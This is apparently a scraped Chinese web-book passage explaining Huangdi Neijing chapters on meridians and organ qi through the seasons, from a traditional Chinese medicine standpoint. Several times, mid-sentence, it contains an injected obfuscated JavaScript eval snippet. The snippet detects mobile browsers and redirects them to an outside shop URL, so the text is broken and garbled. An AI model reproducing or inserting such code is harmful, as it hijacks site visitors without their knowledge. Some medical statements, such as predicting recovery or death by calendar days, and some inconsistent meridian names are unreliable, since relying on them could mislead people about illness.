在经脉别论中，还有一个重要的观点是“经络脏腑相关”。这意味着人体的经脉系统与脏腑器官之间存在着密切的联系。通过调理经脉，我们可以间接地影响脏腑的功能，从而达到治疗疾病的目的。这种思想在中医的针灸、推拿等治疗方法中得到了广泛的应用。 那么，经脉别论在现代医学中又有何意义呢？虽然现代医学与中医在理论体系和治疗方法上存在差异，但经脉别论所揭示的经脉现象和规律，对于现代医学研究人体生理和病理过程也具有一定的参考价值。例如，现代医学研究发现，人体内的神经、血管和淋巴系统等组织结构与中医理论中的经脉系统有着一定的相似性。这种相似性为我们提供了新的研究视角和思路。 在神经传导方面，现代医学的神经传导系统与中医理论中的经脉传递信息的功能有着异曲同工之妙。当某个脏腑器官发生病变时，可能会通过经脉影响到其他脏腑器官，这与神经传导中的“牵涉痛”现象相似。这种交汇为我们提供了更深入地理解人体生理和病理过程的机会。 在血液循环方面，现代医学的血液循环系统与中医理论中的气血在经脉中的流动相类似。现代医学的血液循环系统负责将氧气和营养物质输送到身体的各个部位，同时将代谢废物和二氧化碳排出体外。这与中医理论中气血在经脉中的流动，为身体提供养分和排出废物的功能相契合。 在现代医学实践中，经脉别论也得到了广泛的应用。例如，在针灸治疗中，现代医学通过对经络穴位的研究，发现某些穴位与神经、血管等组织有着密切的联系。通过刺激这些穴位，可以有效地调节神经传导和血液循环，达到治疗疾病的目的。此外，在康复医学中，也开始借鉴中医的经络理论，通过按摩、推拿等手法来改善患者的血液循环和神经传导功能。 展望未来，随着研究的深入和技术的发展，相信中医的经脉别论与现代医学将会有更多的交汇点。这种交汇不仅有助于我们更全面地认识人体的生理和病理过程，也将为人类健康事业做出更大的贡献。让我们拭目以待，共同期待这一天的到来。 经脉别论，作为《黄帝内经》中的一篇重要内容，深入探讨了人体经脉系统的特殊现象和分支。以下是对其内容的简要概述： 一、经脉的复杂性和多样性 经脉别论首先强调了经脉系统的复杂性和多样性。人体内的经脉并非简单的直线通道，而是存在许多分支、交叉和重叠的现象。这些经脉分支在人体内形成了复杂的网络，通过气血的流动，将身体的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428683|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个部分紧密地联系在一起。 二、不同经脉的功能和特点 1. 输送营养物质和氧气：部分经脉主要负责将营养物质和氧气输送到身体的各个部位，以满足人体正常生理活动的需求。 2. 排泄废物和毒素：另一些经脉则负责将体内的废物和毒素排出体外，保持人体内环境的平衡和稳定。 三、经脉与脏腑器官的联系 经脉别论还详细讨论了经脉与脏腑器官之间的联系。通过特定的经脉，脏腑器官之间可以实现信息的传递和相互影响。这种联系体现了中医理论中的“经络脏腑相关”思想，也说明了通过调理经脉可以间接影响脏腑功能的治疗方法。 具体来说，如太阳经、阳明经、少阳经、太阴经、少阴经、厥阴经等经脉，都与特定的脏腑器官有着对应关系。例如，太阳经与膀胱和小肠相关，阳明经与胃和大肠相关，少阳经与胆和三焦相关等。 四、经脉在中医诊断和治疗中的应用 经脉别论在中医诊断和治疗中具有重要的应用价值。通过对经脉现象的深入研究和理解，中医医生可以更加准确地判断疾病的病因和病机，从而制定出更加有效的治疗方案。 在中医治疗中，针灸、推拿等方法都强调对经脉的准确把握和操作。通过对特定经脉穴位的刺激，可以调节气血流通，改善脏腑功能，达到治疗疾病的目的。 总之，经脉别论是中医理论中的重要组成部分，它揭示了人体经脉系统的复杂性和多样性，以及经脉与脏腑器官之间的联系。通过对经脉别论的深入研究和理解，我们可以更好地认识人体的生理和病理过程，为医学科学的发展做出更大的贡献。 第16章 （1）中医视角下的脉相：环境情志与劳逸的联动影响 黄帝问道当人们的居住环境，劳逸状况和勇敢程度有所不同时，经脉血气也随之发生变化吗？ 岐伯说：“人在惊恐，愤怒，劳累，活动或安静的情况下，经脉、血气都要受到影响而发生变化”。中医认为，人体的脏腑与情绪状态是密切相关的。当我们处于不同的情绪状态时，如惊恐、愤怒，或是劳累时，我们的脏腑功能也会相应地受到影响。这种影响会通过经脉、血气等生理机制表现出来。比如，当我们在夜间远行，身体处于劳累状态时，肾气就会受到扰动，导致肾气不能很好地收藏而可能出现外泄的情况。 肾被视为先天之本，主藏精。肾气对于人体的健康至关重要，它关系到我们的生长发育、生殖能力，以及身体的整体功能状态。因此，当我们因为劳累或其他原因而扰动肾气时，就需要通过适当的方式进行调养和恢复，以保持身体的健康平衡。 气喘作为一种症状，可能由多种因素引起，而不仅仅是与肾脏有关。但在中医的视角下，气喘与肾脏确实有着密切的联系。肾脏主水，与肺脏金生水的关系相对应，若肾脏功能失调，水液代谢不畅，可能会导致气喘等症状的出现。此时，如果肾气偏盛，就可能会侵犯到肺脏，进一步加剧气喘的症状。 同时，因坠堕而受到恐吓会扰动肝气，这也是中医理论中的一个重要观点。肝主疏泄，调畅气机，若因惊恐等情绪因素导致肝气郁结或疏泄失常，就会影响到全身的气机运行，甚至可能导致气喘等症状的出现。此时，气喘从肝出发，其偏盛之气就会侵犯脾脏，因为肝木克脾土，肝气的过度亢进会抑制脾气的正常运行。 如果有惊恐的情绪出现，确实会导致神越气乱，扰动肺气。这是因为惊恐等情绪因素会直接影响到心神，导致心神不宁，气机紊乱。此时，气喘从肺出发，其偏盛之气就可能会侵犯心脏，因为肺朝百脉，主治节，肺气的不调会影响到全身的气血运行，进而对心脏产生影响。 渡水跌仆伤骨，导致肾气和骨气受到扰动，进而引发气喘的情况，体现了中医理论中“肾主骨”和“气血流畅”的观点。 我们来谈谈“肾主骨”的概念。在中医看来，肾不仅主藏精，还与骨骼的生长、发育和修复密切相关。因此，当发生跌仆伤骨时，肾中的精气会受到影响，进而可能导致肾气与骨气受到扰动。这种扰动不仅会影响骨骼的修复和生长，还可能影响到全身的气血运行。 接下来，我们谈谈“气血流畅”的重要性。在中医理论中，气血是维持人体生命活动的基本物质，它们的运行状况直接影响到人体的健康状态。当人体气血流畅时，各个脏腑器官都能得到充足的营养和氧气供应，从而保持正常的生理功能。相反，如果气血流滞不畅，就会导致各种疾病的发生。 跌仆伤骨导致肾气和骨气受到扰动，进而引发气喘。对于身体强盛的人来说，由于他们的气血畅行，能够迅速调整身体状态，促进骨骼的修复和气血的畅通，因此病情可能会自愈。而对于怯弱的人来说，由于他们的气血流滞不畅，无法及时修复损伤和畅通气血，因此可能会出现病变。 因此，在诊察疾病时，中医医生通常会观察病人的勇气（即精神状态）、骨骼、肌肉和皮肤的变化。这些变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428684|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够反映出病人气血的流畅程度、脏腑功能的强弱以及病情的轻重。通过观察这些变化，医生可以更加准确地了解病情，从而制定出更加有效的治疗方案。 在中医理论中，饮食、情志、劳作等因素与人体脏腑功能及气血运行密切相关。您所描述的这些现象，实际上反映了中医对于人体脏腑与气血运行之间关系的深刻认识。 关于饮食过饱导致的问题。中医认为，饮食过饱会使胃中食气蒸发，进而可能导致胃部出汗。这是因为胃主受纳，当饮食过量时，胃的消化功能会受到影响，进而影响到气血的生成和运行。 惊恐情绪对心脏的影响。惊恐会导致神气浮跃，使心肌受伤，进而可能导致心出汗。这是因为心主血脉，惊恐等情绪因素会直接影响到心神，导致心神不宁，气血运行紊乱，从而影响到心脏的功能。 负重远行对肾脏的影响。负重远行会使骨骼劳累，气越（即气机紊乱），进而导致肾气受伤，肾出汗。这是因为肾主骨生髓，负重会使骨骼受到压迫，进而影响到肾气的正常运行。 疾走且恐惧时，疾走会伤筋，恐惧会伤魂，两者共同作用会导致肝气受伤，肝出汗。这是因为肝主疏泄，调畅气机，疾走会使筋脉受到过度牵拉，而恐惧则会使肝气郁结，两者都会导致肝气不畅，进而影响到肝脏的功能。 劳累过度时，由于脾主肌肉四肢，过度劳累会使脾气受伤，脾出汗。这是因为脾主运化水谷精微，为气血生化之源，过度劳累会使脾气受损，进而影响到气血的生成和运行。 这章没有结束，请点击下一页继续阅读！ 第16章 （2）揭秘食物中水谷精微的神奇布散之旅 今天我们讲的是食物今天我们讲的是食物在胃中消化之后，如何精微物质传递全身的整个过程？ 关通过气血于食物进入胃中消化后，精微之气如何滋养全身的问题，是中医的脏腑经络理论的精髓。首先，食物在胃中被初步消化，转化为水谷精微，这是身体获取能量的第一步。 在中医看来，水谷精微中的一部分会被输送到肝脏。肝脏在中医中不仅仅是解毒器官，更是气血的调节器。它负责将这部分精微物质进行转化和分配，滋养全身的经脉，确保气血的顺畅流通。 同时，另一部分浓厚的精微之气会进入心脏。在中医理论中，心主血脉，是推动血液在经脉中运行的主要动力。这些浓厚的精微之气进入心脏后，会被转化为血脉血气，流行在经脉中，为全身提供营养和能量。 当血脉血气到达肺部时，肺会将其中的气进一步输送到全身百脉中去。肺主气，司呼吸，它通过呼吸作用将自然界的清气吸入体内，与血脉血气相结合，形成更为纯净的营养物质，供给全身各个部位。 这些经过肺输送的精气会到达皮毛，滋养和保护身体的表面。皮毛是身体的第一道防线，也是气血的外在表现。当精气充足时，皮毛会呈现出光泽、红润的状态，反之则可能出现干燥、黯淡等问题。 皮毛和经脉的精气汇合后回流到脉中，这一循环过程确实体现了气血在身体内的流通与分布。气血在经脉中的流动，不仅滋养着皮毛，同时也深入五脏六腑，维持着身体的正常生理功能。 六腑的精气化生神明，这里的“神明”可以理解为脏腑功能的正常表现和调控。这些精气进一步输入并流行于四脏（心、肝、脾、肺），促进四脏功能的正常发挥。 而这一切正常的生理活动，都仰赖于气血阴阳的平衡。气血是构成人体和维持生命活动的基本物质，阴阳则是气血的相对属性和运动状态。气血阴阳的平衡状态是身体健康的基石，一旦失衡，就会导致各种疾病的发生。 关于气口的脉象变化，这是中医诊断疾病的重要手段之一。气口，即寸口，位于手腕部，是气血流通的重要通道。通过观察和感受气口的脉象变化，可以了解气血阴阳的平衡状态，进而判断疾病的生死。例如，脉象的强弱、快慢、浮沉、迟数等，都能反映出气血阴阳的盛衰和病变的深浅。 因此，在中医理论中，气血阴阳的平衡是维持身体健康的关键，而气口的脉象变化则是判断疾病生死的重要依据。这一理论不仅体现了中医对人体生理和病理的深刻认识，也为中医诊断和治疗疾病提供了重要的理论基础和实践指导。 我们接着往下说： 水液进入胃后，其代谢和分布是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428685|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个复杂而精细的过程。水液经过胃的初步消化后，会游溢布散至全身，其中精气上行，输送到脾。脾作为“后天之本”，其主要功能之一是运化水谷精微，将精华物质向上输送到肺。 肺气运行通调，对于水液的代谢和分布至关重要。肺气具有宣发和肃降的功能，能够将水液中的清气向上输送到全身，同时将浊液向下输送到膀胱。这样，水液中的精华得以四布，滋养全身。 在外部，这些水液精华会散于皮毛，为肌肤提供滋润和营养，使皮肤保持光滑、有弹性。在内，这些精华会灌输于五脏的经脉，为脏腑的正常生理功能提供物质基础。 同时，这一过程与四时寒暑的更替和五脏的阴阳变化相符合。随着季节的变化，人体内的阴阳气血也会发生相应的变化，水液的代谢和分布也会相应调整，以适应外界环境的变化。 这种可以测度的经脉的正常生理现象，体现了中医理论中“天人合一”的思想。人体内的脏腑经络系统与外界环境相互关联、相互作用，共同维持着人体的生命活动。 在中医看来，水液的代谢和分布不仅是一个生理过程，更是一个复杂的系统工程。它涉及到多个脏腑的协同作用，以及气血阴阳的平衡调节。通过了解这一过程，我们可以更好地理解人体的生命活动，并为中医的养生和治疗提供理论依据。 第16章 （3）健康科普：六经偏盛，预防病变，科学治疗 本章里边谈到了经脉，我就先给大家讲一下12经脉，大家对12经脉，做个简单的了解，在灵枢部分针对经络和穴位再细细讲。 关于“12经脉”，这是中医经络理论中的重要组成部分。在中医理论中，经脉被认为是人体内气血运行的通道，它们连接着人体的五脏六腑、四肢百骸，是人体内各种生理活动和病理变化的重要物质基础。 具体来说，12经脉包括手三阴经（手太阴肺经、手厥阴心包经、手少阴心经）、手三阳经（手阳明大肠经、手少阳三焦经、手太阳小肠经）、足三阴经（足太阴脾经、足厥阴肝经、足少阴肾经）、足三阳经（足阳明胃经、足少阳胆经、足太阳膀胱经）。每一条经脉都有其特定的循行路径、所属的脏腑以及与之相关的病症。 在中医理论中，经脉的畅通与否直接关系到人体的健康。如果经脉出现阻塞或不畅，就会导致气血运行不畅，从而引发各种疾病。因此，中医通过针灸、推拿、按摩等方法来疏通经脉，调和气血，以达到治疗疾病的目的。 此外，12经脉还与中医的五行理论、阴阳理论等密切相关，共同构成了中医理论的基础。通过了解12经脉的循行路径、所属的脏腑以及与之相关的病症，我们可以更好地理解中医理论，为身体健康保健提供有益的指导。 太阳经脉偏盛”和“厥逆喘息”等症状，我们需要从中医的阴阳五行和经络理论出发在中医理论中，太阳经脉指的是足太阳膀胱经，这条经脉在人体的背部和下肢有较为密集的穴位分布。当太阳经脉偏盛时，即意味着这条经脉的气血运行过于旺盛，可能会引发一系列的症状。而厥逆喘息、虚气上逆等症状，正是气血运行异常，阴阳失衡的表现。 “阴不足而阳有余”这一点，我们可以理解为身体内部的阴阳平衡被打破，阳气过于旺盛，而阴气相对不足。在中医理论中，阴阳是相对的，互为依存，阴阳失衡会导致身体的各种疾病。 对于治疗这种病症，中医通常会采用“泄法”，即通过针灸、推拿等手法，来调和阴阳，平衡气血。在经络理论中，足太阳经的束骨穴和足少阴经的太溪穴是两个重要的穴位。束骨穴位于足小趾本节（第5跖趾关节）的后方，赤白肉际处，是足太阳膀胱经的穴位，可以泄太阳经之热；太溪穴位于足内踝尖与跟腱之间的凹陷处，是足少阴肾经的穴位，可以补益肾阴，调和阴阳。 因此，通过泄法取足太阳经的束骨穴和足少阴经的太溪穴，可以有效地调和阴阳，平衡气血，从而缓解厥逆喘息、虚气上逆等症状。 “阳明经偏盛是太阳少阳之气盛于阳明”。阳明经主要指的是手阳明大肠经和足阳明胃经，它们与人体的消化功能和新陈代谢密切相关。 当阳明经偏盛时，往往表现为体内阳热之气过盛，可能伴随有口渴、口臭、便秘等症状。此时，太阳少阳之气盛于阳明，可以理解为体内的阳热之气从其他经脉转移至阳明经，使得阳明经的气血运行更为旺盛。 针对这种情况，中医通常采用“泻阳补阴”的治疗方法。具体来说，就是通过泻去体内过盛的阳热之气，同时补充阴气，以达到阴阳平衡的目的。 足阳明经的陷谷穴和补太阴经的太白穴，这是非常专业的治疗方法。陷谷穴位于足背第二、三跖骨结合部之前凹陷处，是足阳明胃经的穴位，具有清热泻火、通经活络的作用。太白穴位于足内侧缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428686|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当第一跖骨小头后下方凹陷处，是足太阴脾经的穴位，具有健脾益胃、清热利湿的功效。 通过泻陷谷穴来清除足阳明经的阳热之气，同时补太白穴来增强足太阴经的阴气，可以有效地调和阴阳，缓解阳明经偏盛的症状。 当少阳经脉偏盛时，确实有可能引发厥气上逆的症状。在中医理论中，少阳经脉主要指的是手少阳三焦经和足少阳胆经，它们与人体的气机运行密切相关。当少阳经脉的气血运行过于旺盛，可能会导致气机逆乱，从而引发厥气上逆等症状。 针对少阳经脉偏盛的情况，中医通常采用“泻法”进行治疗，以调和气血，平衡阴阳。在针灸治疗中，取足少阳经的临泣穴是一个常用的方法。临泣穴位于足背外侧，第四趾、小趾跖骨夹缝中，具有疏肝利胆、清头目、利胸胁的作用，可以有效缓解少阳经脉偏盛引起的症状。 关于“少阳经脉偏盛，而是单独到来，说明是少阳太过”这一说法，从中医理论的角度来看，少阳经脉偏盛可能是由于多种因素导致的，包括情志不畅、饮食不节、外邪侵袭等。当这些因素作用于人体时，可能导致少阳经脉的气血运行异常，从而引发一系列症状。如果少阳经脉偏盛是单独出现的，可能说明是少阳经脉本身的功能异常或受到某种特定因素的影响，需要针对具体情况进行辨证施治。 总之，对于少阳经脉偏盛引起的症状，中医通常采用泻法进行治疗，以调和气血，平衡阴阳。在针灸治疗中，取足少阳经的临泣穴是一个常用的方法。同时，也需要根据患者的具体情况进行辨证施治，以达到最佳的治疗效果。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第17章 脏气法时论 脏气法时论，它强调人体内脏器官的功能与自然界四季变化的时令密切相关。这一理论源于《黄帝内经》，是中医“天人合一”思想的具体体现。 在脏气法时论中，五脏（心、肝、脾、肺、肾）被赋予了与四季相应的属性：心主夏，肝主春，脾主长夏（夏末秋初），肺主秋，肾主冬。每个季节的气候变化都会对人体内脏器官的功能产生影响，因此，在养生和治疗上需要根据季节的变换来调整方法。 例如，在春季养生时，应顺应肝气的生发和疏泄，注意养肝护肝，避免肝气郁结。在夏季养生时，应顺应心阳的旺盛，注意养心安神，避免心火过旺。而在秋季，应顺应肺气的肃降，注意养肺润燥，避免肺燥干咳。在冬季，应顺应肾气的潜藏，注意养肾藏精，避免肾精亏虚。 脏气法时论不仅为中医的养生和治疗提供了理论依据，也为我们理解人体与自然界之间的关系提供了重要的视角。在现代社会，随着生活节奏的加快和环境污染的加剧，脏气法时论所倡导的顺应自然、天人合一的养生理念更显得弥足珍贵。 本篇的主要内容有 一、 在四时五行与人体五脏之气之间存在着密切的关联，这种关联为治疗疾病提供了独特的视角和方法。四时五行，即春、夏、秋、冬四季与金、木、水、火、土五行之间的对应关系。人体五脏之气则包括心气、肝气、脾气、肺气、肾气，它们各自对应着不同的五行属性和时令。 依据四时五行的生克质化规律，我们可以理解到，五行之间的相生相克关系反映了自然界中事物之间相互依存、相互制约的关系。在人体中，五脏之气同样遵循这种生克规律，它们之间的平衡与协调是维持人体健康的关键。 当五脏之气出现失衡时，就会导致各种疾病的发生。例如，肝气郁结可能导致情绪不畅、胸胁胀痛等症状；心火过旺则可能引起心烦失眠、口舌生疮等问题。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428687|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，我们可以根据四时五行的生克质化规律，通过调整五脏之气的平衡来治疗疾病。 二 、关于五脏病痊愈、加重、稳定、好转的时间，中医理论中并没有明确的量化描述，因为疾病的发展和转归受到多种因素的影响，如病情的轻重、病人的体质、治疗方法的正确性等。然而，我们可以根据中医的“五脏六腑”理论，结合临床经验，来阐述五脏病的一些基本治疗原则和注意事项。 三 、论述五脏的虚实证候及其治疗方法是极为重要的一部分。五脏包括心、肝、脾、肺、肾，它们各自有其独特的生理功能，并在病理状态下表现出不同的虚实证候。 四、 论述五色、五味、五谷、五果、五畜、五菜与五脏之间的关系，是中医食疗和养生的重要组成部分。这种关系体现了中医“天人合一”和“整体观念”的思想，即通过食物的不同属性和特性，来调和人体五脏的功能，达到预防疾病和养生的目的。 第17章 （1）四时五行调和五脏之气，疾病不再是难题 黄帝问道结合人体五脏之器的具体情况，运用四时五行的深刻制化规律来进行疾病的治疗，怎样是从怎样是逆呢？我想了解一下。 岐伯说，实际上揭示了中国古代医学中的一个重要理论——五行学说。五行，即金、木、水、火、土，这五种元素在中国传统文化中，不仅仅是构成世界的五种基本物质，更是代表了宇宙间万物运动变化的五种基本动力。当五行与时令气候相结合时，便呈现出了一种周期性的衰旺克制变化，这种变化在医学领域里，具有极其重要的指导意义。 五行与时令气候的变化相对应，与人体内的五脏六腑、气血津液等也都有密切的联系。比如，金对应秋季，与肺相应；木对应春季，与肝相应；水对应冬季，与肾相应；火对应夏季，与心相应；土对应长夏（夏末秋初），与脾相应。当五行与时令气候的衰旺克制变化不平衡时，便可能导致人体内相应的脏腑功能失调，从而引发疾病。 岐伯所说的“从这些变化中可以预测，疾病的生死，分析，治疗的成败，确定五脏之气的盛衰，疾病变轻变重的时间以及生死的日期”，正是基于五行与时令气候的这种变化规律。通过观察和分析五行与时令气候的变化，医生可以预测疾病的发展趋势，判断治疗的成败，从而制定出更为合理的治疗方案。 黄帝说，我想听您详尽的讲一讲。 岐伯说肝与木相对应，木象征着生长、升发和条达，这与肝的疏泄功能不谋而合。春季是万物复苏、生机勃勃的季节，与肝的疏泄功能相呼应，因此说“肝属木旺于春”。此时，肝气最为舒畅，人体的新陈代谢也最为旺盛。 “肝与胆互为表里”的关系。在中医理论中，脏腑之间往往存在着表里关系，即一脏一腑相配合，共同完成某种生理功能。肝与胆就是这样的一对脏腑，肝主疏泄，胆主决断，两者相互配合，共同维持着人体的正常生理功能。因此，当肝的疏泄功能出现异常时，往往也会影响到胆的功能。 “春天是足厥阴肝经和足少阴胆经主治的时间”。人体的经络系统与脏腑、五行等理论密切相关。足厥阴肝经和足少阴胆经分别对应着肝和胆，它们在春季时气血运行最为旺盛，因此主治时间也集中在春季。此时，通过刺激这两条经络的穴位，可以有效地调节肝和胆的功能，达到预防和治疗相关疾病的目的。 “甲乙属木足少阳胆经为甲木足，厥阴肝经为乙木，所以肝胆在甲乙日最为旺盛”的说法。这是根据中医的干支理论与五行、脏腑经络理论相结合得出的结论。在干支理论中，甲乙属于木，而足少阳胆经和足厥阴肝经分别对应着甲木和乙木。因此，在甲乙日这两天，肝胆的气血运行最为旺盛，对于调节肝胆功能、预防和治疗相关疾病具有特殊的意义。 肝与情志中的“怒”确实有着密切的关系。肝主疏泄，具有调畅气机和调节情志的功能。当人体处于愤怒状态时，肝气容易郁结，导致气机不畅，出现气急等症状。 而甘味食物在中医里被认为具有缓和、补益的作用。甘味入脾，能补脾益气，调和诸药。当肝气郁结导致气急时，适当进食甘味食物，可以调和肝脾，缓解气急的症状。 但需要注意的是，虽然甘味食物能缓解气急，但并非所有甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428688|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味食物都适合肝病患者食用。因为甘味食物往往含糖量较高，过量摄入可能导致血糖升高，对肝脏造成负担。因此，在选择甘味食物时，应尽量选择低糖、高营养的食物，如红枣、山药等。 此外，对于肝病患者来说，调节情志也是非常重要的。避免过度愤怒、焦虑等负面情绪，保持心情舒畅，有助于肝气的疏泄和调节。同时，保持良好的生活习惯和饮食习惯，也有助于肝脏的健康。 心与火相对应，火象征着热烈、活跃和上升。夏季则是火的季节，天气热烈，万物生长旺盛，人体的阳气也最为旺盛，心阳也随之旺盛。因此，夏季是心阳最为旺盛的时候，此时人们往往感到精神饱满、活力四射。 接下来，我们谈谈“心与小肠互为表里”的关系。在中医理论中，脏腑之间往往存在着表里关系，即一脏一腑相配合，共同完成某种生理功能。心与小肠就是这样的一对脏腑，心主血脉，小肠主分清泌浊，两者通过经脉相互络属，构成了表里关系。当心脏功能正常时，小肠的消化功能也会得到保障；反之，当小肠功能异常时，也会影响到心脏的功能。 再来说说“夏天是手少阴心经和手太阳小肠经主治时间”。在中医经络理论中，人体的经络系统与脏腑、五行等理论密切相关。手少阴心经和手太阳小肠经分别对应着心和小肠，它们在夏季时气血运行最为旺盛，因此主治时间也集中在夏季。此时，通过刺激这两条经络的穴位，可以有效地调节心和小肠的功能，达到预防和治疗相关疾病的目的。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第17章 （2）肝病好转与稳定的治疗原则与策略 关于肝脏疾病在四季中的变化规律和预防措施，存在中医理论上的解读。从中医的角度来看，肝脏与春季的生发之气相应，同时也与风气有一定的关联。 肝脏疾病在夏季最容易治愈的说法，这可能与夏季阳气旺盛、气血流通较为顺畅有关。夏季自然界阳气最盛，人体内的阳气也相对旺盛，有助于肝脏疾病的康复。 然而，如果疾病在夏季没有得到有效的治疗，到了秋季，由于自然界阳气开始收敛，阴气逐渐增长，这可能导致病情的加重。但值得注意的是，并非所有肝病在秋季都会加重，这取决于疾病的性质、病人的体质以及治疗的效果等多种因素。 如果病人在秋季没有因为肝病而死亡，到了冬季，由于自然界阳气进一步收敛，阴气更加旺盛，病情可能会进入一个相对稳定的阶段。这是因为冬季主藏，人体的阳气也趋向于内藏，与外界的交换减少，从而减少了病情进一步恶化的可能性。 到了春季，随着自然界阳气的生发，人体的阳气也开始逐渐升发，气血流通更加顺畅，这有助于肝脏疾病的好转。但同样需要注意的是，春季也是风气易盛的季节，因此肝病病人需要特别注意避免受到风邪的侵袭。 从预防的角度来说，肝病病人应该根据四季的变化来调整自己的生活方式和饮食习惯。例如，在春季和夏季应该保持充足的睡眠和适当的运动，以促进阳气的生发和气血的流通；在秋季和冬季则应该注重保暖和避免过度劳累，以保护体内的阳气和减少病情的恶化。同时，肝病病人还应该避免食用过于油腻和辛辣的食物，以免加重肝脏的负担。 关于有肝病的人在丙丁日最容易治愈。在中医五行理论中，丙丁日通常与火元素相关联，而火元素与心和小肠等器官有关。虽然这种关联并不直接指向肝脏，但五行之间相互作用、相生相克的关系可能间接影响肝病的治愈过程。一种可能的解释是，火元素的旺盛有助于推动体内气血的流通，从而有助于肝病的恢复。 然而，如果病情在丙丁日没有得到有效的治疗，到了庚辛日（与金元素相关联，金元素通常与肺和大肠等器官有关），病情可能会加重。这可能是因为金元素对木元素（肝）有克制作用，导致肝病症状加重。 如果庚辛日病人没有死，到了壬癸日（与水元素相关联，水元素通常与肾和膀胱等器官有关），病情可能会维持稳定不变的状态。这可能是因为水元素对火元素有克制作用，从而减缓了火元素对肝病的推动作用，导致病情进入一个相对稳定的阶段。 到了甲乙日（与木元素相关联，木元素直接对应肝脏），病情可能会好转。这是因为木元素是肝脏所对应的元素，木元素的旺盛有助于肝脏功能的恢复和增强。 需要强调的是，以上解释仅仅是一种基于中医五行理论的推测。在实际治疗中，我们应该根据病人的具体情况和医生的诊断来确定最佳的治疗方案。同时，肝病患者也应该注意保持良好的生活习惯和饮食习惯，避免过度劳累和情绪波动，以维护肝脏的健康。 关于患肝病的人在不同时间段病情变化的描述，虽然可能并不完全符合医学上的精确描述，但我们可以从一般的生活经验和医学知识来解读这一现象。 首先，早晨时人们通常刚经过一夜的休息，身体和精神状态都处于相对较好的状态。对于肝病患者来说，经过一晚的休息，肝脏的负担相对减轻，因此他们可能会感觉精神清爽。这可能与肝脏在夜间的自我修复和排毒功能有关。 然而，到了傍晚时分，人体经过一天的活动，各种器官和系统都开始进入疲劳状态。对于肝病患者来说，肝脏的负担可能会加重，导致病情出现加重的情况。这可能与肝脏在傍晚时分需要处理更多的代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 